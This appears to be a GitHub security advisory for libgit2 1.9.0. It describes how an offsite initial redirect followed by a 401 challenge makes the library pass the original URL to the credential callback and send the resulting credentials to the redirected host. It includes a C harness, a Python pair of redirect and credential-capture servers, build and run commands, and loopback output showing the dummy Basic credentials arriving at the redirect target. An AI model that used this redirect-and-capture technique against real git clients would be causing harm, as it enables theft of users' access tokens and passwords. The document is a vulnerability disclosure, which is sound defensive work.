Skip to content

GHSA-2889-x8f6-mc4x

CVE Information

Summary

libgit2's builtin HTTP transport follows offsite redirects for the initial smart HTTP request by default. If the redirected server then returns 401 Unauthorized, libgit2 asks the application credential callback for credentials using the original remote URL, not the redirected URL. The returned credential is then attached to the next request to the redirected host as an Authorization header.

An attacker who can cause an initial offsite redirect from a trusted Git remote URL, for example through a compromised server or an open redirect on a trusted host, can make libgit2 consumers disclose HTTP credentials scoped by the callback to the original trusted URL.

This draft has not been publicly disclosed and does not claim CVE/GHSA assignment.

Details

Tested repository and version:

  • Repository: https://github.com/libgit2/libgit2
  • Commit: 57877524482fe6e46afdbf636f5467e7f9a33fe5
  • Version: 1.9.0
  • Build used for proof: local out-of-tree CMake build in /tmp/libgit2-redirect-poc/build

Relevant source-to-sink chain:

  1. Offsite initial redirects are a documented/default behavior:
  2. include/git2/remote.h:45-60 documents GIT_REMOTE_REDIRECT_INITIAL as the default and says offsite redirects are allowed only for the initial request.
  3. src/libgit2/remote.c:874-885 sets GIT_REMOTE_REDIRECT_INITIAL when no repository/config override exists.
  4. src/libgit2/transports/http.c:221-233 allows redirects for initial service requests when this setting is active.
  5. src/libgit2/transports/http.c:246-256 applies the Location header to transport->server.url.

  6. After the redirect, a 401 Unauthorized from the redirected server triggers remote authentication handling:

  7. src/libgit2/transports/http.c:265-269 calls handle_remote_auth and then replays the request.

  8. handle_remote_auth passes the original remote URL to the credential callback instead of the redirected URL:

  9. src/libgit2/transports/http.c:188-195 calls handle_auth(..., transport->owner->url, ...).
  10. src/libgit2/transports/http.c:156-158 passes that url argument to the application credential callback.
  11. include/git2/credential.h:125-129 documents the callback url parameter as the resource for which a credential is being demanded.

  12. The acquired credential is stored in transport->server.cred and attached to the next request generated from the redirected URL:

  13. src/libgit2/transports/http.c:363-370 joins the service path onto the current transport->server.url and assigns request->credentials = transport->server.cred.
  14. src/libgit2/transports/httpclient.c:548-603 converts that credential into an HTTP auth header.
  15. src/libgit2/transports/httpclient.c:759-763 emits server credentials as an Authorization header on the outgoing request.

The code itself appears to intend authentication to happen against the redirect target: src/libgit2/transports/http.c:672-678 says the redirected location is preserved so authorization continues against the redirect target, not the user-given source. The actual callback URL passed to applications remains the original source URL.

PoC

The primary proof uses two local loopback HTTP servers:

  • Origin server: http://127.0.0.1:19087/repo.git
  • Redirect target: http://localhost:19088/redirected.git

The origin returns a 302 to the redirect target. The target returns 401 WWW-Authenticate: Basic. The credential callback is deliberately host-scoped: it returns victim-user:victim-pass only when libgit2 asks for credentials for the original URL. If libgit2 passed the redirected URL to the callback, the callback would decline and no credential would be sent. A separate HTTPS-to-HTTPS loopback run, using a certificate callback that accepts local self-signed test certificates, reproduced the same credential leak across different hostnames.

Build and harness setup used:

rm -rf /tmp/libgit2-redirect-poc
mkdir -p /tmp/libgit2-redirect-poc
cmake -S . -B /tmp/libgit2-redirect-poc/build \
  -DBUILD_SHARED_LIBS=OFF \
  -DBUILD_TESTS=OFF \
  -DBUILD_CLI=OFF \
  -DUSE_SSH=OFF \
  -DUSE_HTTPS=OpenSSL \
  -DUSE_BUNDLED_ZLIB=ON
cmake --build /tmp/libgit2-redirect-poc/build --target all -j2

/tmp/libgit2-redirect-poc/redirect_harness.c:

#include <git2.h>
#include <stdio.h>
#include <string.h>

struct payload {
  const char *allowed_url;
  int calls;
};

static int creds_cb(git_credential **out, const char *url, const char *username_from_url, unsigned int allowed_types, void *data)
{
  struct payload *p = (struct payload *)data;
  (void)username_from_url;

  p->calls++;
  printf("credential_callback_url=%s\n", url ? url : "<null>");
  printf("credential_allowed_types=%u\n", allowed_types);

  if (!url || strcmp(url, p->allowed_url) != 0) {
      printf("credential_callback_declined=1\n");
      return 1;
  }

  if (!(allowed_types & GIT_CREDENTIAL_USERPASS_PLAINTEXT)) {
      printf("credential_callback_no_userpass=1\n");
      return 1;
  }

  return git_credential_userpass_plaintext_new(out, "victim-user", "victim-pass");
}

int main(int argc, char **argv)
{
  git_remote *remote = NULL;
  git_remote_connect_options opts = GIT_REMOTE_CONNECT_OPTIONS_INIT;
  struct payload payload;
  int error;

  if (argc != 3) {
      fprintf(stderr, "usage: %s <original-url> <allowed-callback-url>\n", argv[0]);
      return 2;
  }

  payload.allowed_url = argv[2];
  payload.calls = 0;

  git_libgit2_init();

  if ((error = git_remote_create_detached(&remote, argv[1])) < 0)
      goto done;

  opts.callbacks.credentials = creds_cb;
  opts.callbacks.payload = &payload;

  error = git_remote_connect_ext(remote, GIT_DIRECTION_FETCH, &opts);

done:
  printf("credential_callback_calls=%d\n", payload.calls);
  printf("connect_result=%d\n", error);
  if (error < 0) {
      const git_error *e = git_error_last();
      printf("libgit2_error=%s\n", e && e->message ? e->message : "<none>");
  }

  git_remote_free(remote);
  git_libgit2_shutdown();
  return 0;
}

/tmp/libgit2-redirect-poc/redirect_servers.py:

#!/usr/bin/env python3
import argparse
import base64
import http.server
import socketserver
import threading

class ReusableTCPServer(socketserver.TCPServer):
    allow_reuse_address = True

class State:
    def __init__(self):
        self.redirect_host = None
        self.redirect_port = None
        self.auth_headers = []
        self.paths = []
        self.done = threading.Event()

state = State()

class Origin(http.server.BaseHTTPRequestHandler):
    def do_GET(self):
        location = f"http://{state.redirect_host}:{state.redirect_port}/redirected.git/info/refs?service=git-upload-pack"
        self.send_response(302)
        self.send_header("Location", location)
        self.send_header("Content-Length", "0")
        self.end_headers()
    def log_message(self, fmt, *args):
        pass

class RedirectTarget(http.server.BaseHTTPRequestHandler):
    def do_GET(self):
        state.paths.append(self.path)
        auth = self.headers.get("Authorization")
        if auth:
            state.auth_headers.append(auth)
            self.send_response(200)
            body = b"001e# service=git-upload-pack\n00000000"
            self.send_header("Content-Type", "application/x-git-upload-pack-advertisement")
            self.send_header("Content-Length", str(len(body)))
            self.end_headers()
            self.wfile.write(body)
            state.done.set()
            return
        self.send_response(401)
        self.send_header("WWW-Authenticate", "Basic realm=redirect-target")
        self.send_header("Content-Length", "0")
        self.end_headers()
    def log_message(self, fmt, *args):
        pass

if __name__ == "__main__":
    parser = argparse.ArgumentParser()
    parser.add_argument("--origin-host", default="127.0.0.1")
    parser.add_argument("--origin-port", type=int, required=True)
    parser.add_argument("--target-bind-host", default="127.0.0.1")
    parser.add_argument("--target-redirect-host", default=None)
    parser.add_argument("--target-port", type=int, required=True)
    args = parser.parse_args()
    state.redirect_host = args.target_redirect_host or args.target_bind_host
    state.redirect_port = args.target_port
    origin = ReusableTCPServer((args.origin_host, args.origin_port), Origin)
    target = ReusableTCPServer((args.target_bind_host, args.target_port), RedirectTarget)
    threads = [threading.Thread(target=origin.serve_forever, daemon=True), threading.Thread(target=target.serve_forever, daemon=True)]
    for t in threads:
        t.start()
    print(f"origin=http://{args.origin_host}:{args.origin_port}/repo.git", flush=True)
    print(f"target=http://{state.redirect_host}:{args.target_port}/redirected.git", flush=True)
    state.done.wait(10)
    expected = "Basic " + base64.b64encode(b"victim-user:victim-pass").decode()
    print(f"target_paths={state.paths}", flush=True)
    print(f"target_authorization_headers={state.auth_headers}", flush=True)
    print(f"expected_authorization={expected}", flush=True)
    origin.shutdown()
    target.shutdown()

Compile the harness:

cc \
  -Iinclude \
  -I/tmp/libgit2-redirect-poc/build/src/libgit2/include \
  -I/tmp/libgit2-redirect-poc/build/gen_headers \
  /tmp/libgit2-redirect-poc/redirect_harness.c \
  /tmp/libgit2-redirect-poc/build/libgit2.a \
  -lssl -lcrypto -lrt -lpthread -ldl \
  -o /tmp/libgit2-redirect-poc/redirect_harness

Positive trigger:

rm -f /tmp/libgit2-redirect-poc/server-final.log /tmp/libgit2-redirect-poc/harness-final.log
/tmp/libgit2-redirect-poc/redirect_servers.py \
  --origin-host 127.0.0.1 --origin-port 19087 \
  --target-bind-host 127.0.0.1 --target-redirect-host localhost --target-port 19088 \
  > /tmp/libgit2-redirect-poc/server-final.log 2>&1 &
srv=$!
for i in $(seq 1 50); do grep -q '^origin=' /tmp/libgit2-redirect-poc/server-final.log && break; sleep 0.1; done
/tmp/libgit2-redirect-poc/redirect_harness \
  'http://127.0.0.1:19087/repo.git' \
  'http://127.0.0.1:19087/repo.git' \
  > /tmp/libgit2-redirect-poc/harness-final.log 2>&1
wait $srv
cat /tmp/libgit2-redirect-poc/harness-final.log
cat /tmp/libgit2-redirect-poc/server-final.log

Observed positive output from this environment:

credential_callback_url=http://127.0.0.1:19087/repo.git
credential_allowed_types=1
credential_callback_calls=1
connect_result=0
origin=http://127.0.0.1:19087/repo.git
target=http://localhost:19088/redirected.git
target_paths=['/redirected.git/info/refs?service=git-upload-pack', '/redirected.git/info/refs?service=git-upload-pack']
target_authorization_headers=['Basic dmljdGltLXVzZXI6dmljdGltLXBhc3M=']
expected_authorization=Basic dmljdGltLXVzZXI6dmljdGltLXBhc3M=

The Authorization header value decodes to victim-user:victim-pass, and it was recorded by the redirected host (localhost:19088), not the original host (127.0.0.1:19087).

Fresh verification on ports 19101 and 19102 reproduced the same result:

credential_callback_url=http://127.0.0.1:19101/repo.git
credential_allowed_types=1
credential_callback_calls=1
connect_result=0
origin=http://127.0.0.1:19101/repo.git
target=http://localhost:19102/redirected.git
target_paths=['/redirected.git/info/refs?service=git-upload-pack', '/redirected.git/info/refs?service=git-upload-pack']
target_authorization_headers=['Basic dmljdGltLXVzZXI6dmljdGltLXBhc3M=']
expected_authorization=Basic dmljdGltLXVzZXI6dmljdGltLXBhc3M=

HTTPS-to-HTTPS verification on ports 19111 and 19112 also reproduced the leak. The test used a certificate callback to accept the local self-signed test certificates; the important behavior is that the credential callback still received the original HTTPS URL while the redirected HTTPS target received the Authorization header:

certificate_callback_host=127.0.0.1
certificate_callback_valid=0
certificate_callback_host=localhost
certificate_callback_valid=0
credential_callback_url=https://127.0.0.1:19111/repo.git
credential_allowed_types=1
certificate_callback_host=localhost
certificate_callback_valid=0
credential_callback_calls=1
connect_result=0
origin=https://127.0.0.1:19111/repo.git
target=https://localhost:19112/redirected.git
target_paths=['/redirected.git/info/refs?service=git-upload-pack', '/redirected.git/info/refs?service=git-upload-pack']
target_authorization_headers=['Basic dmljdGltLXVzZXI6dmljdGltLXBhc3M=']
expected_authorization=Basic dmljdGltLXVzZXI6dmljdGltLXBhc3M=

Negative/control case:

When the callback is changed only by its allowed URL argument to accept the redirected URL instead of the original URL, libgit2 still calls the callback with the original URL. The callback declines, the connection fails with authentication required, and the redirected target receives no Authorization header.

Command used:

rm -f /tmp/libgit2-redirect-poc/server-negative.log /tmp/libgit2-redirect-poc/harness-negative.log
/tmp/libgit2-redirect-poc/redirect_servers.py \
  --origin-host 127.0.0.1 --origin-port 19085 \
  --target-bind-host 127.0.0.1 --target-redirect-host localhost --target-port 19086 \
  > /tmp/libgit2-redirect-poc/server-negative.log 2>&1 &
srv=$!
for i in $(seq 1 50); do grep -q '^origin=' /tmp/libgit2-redirect-poc/server-negative.log && break; sleep 0.1; done
/tmp/libgit2-redirect-poc/redirect_harness \
  'http://127.0.0.1:19085/repo.git' \
  'http://localhost:19086/redirected.git' \
  > /tmp/libgit2-redirect-poc/harness-negative.log 2>&1
wait $srv
cat /tmp/libgit2-redirect-poc/harness-negative.log
cat /tmp/libgit2-redirect-poc/server-negative.log

Observed negative output:

credential_callback_url=http://127.0.0.1:19085/repo.git
credential_allowed_types=1
credential_callback_declined=1
credential_callback_calls=1
connect_result=-16
libgit2_error=remote authentication required but no callback set
origin=http://127.0.0.1:19085/repo.git
target=http://localhost:19086/redirected.git
target_paths=['/redirected.git/info/refs?service=git-upload-pack']
target_authorization_headers=[]
expected_authorization=Basic dmljdGltLXVzZXI6dmljdGltLXBhc3M=

Cleanup:

rm -rf /tmp/libgit2-redirect-poc

Impact

A libgit2 consumer that scopes credentials in its credential callback by the callback URL can be tricked into returning credentials for a trusted original URL. libgit2 then sends those credentials to an offsite redirect target that issued the authentication challenge. This can disclose HTTP Basic credentials, personal access tokens, or other user/password-style credentials used by applications through GIT_CREDENTIAL_USERPASS_PLAINTEXT.

A realistic attack requires the victim/application to contact an original URL for which it is willing to provide credentials, and for an attacker to cause that original initial smart HTTP request to redirect offsite, such as through a compromised Git host or an open redirect on a trusted host. Redirect scheme downgrade is mitigated by git_net_url_apply_redirect, but HTTPS-to-HTTPS offsite redirects remain allowed for the initial request by default and were reproduced locally.

Credits

  • Thai Son Dinh from VinSOC Labs (R&D)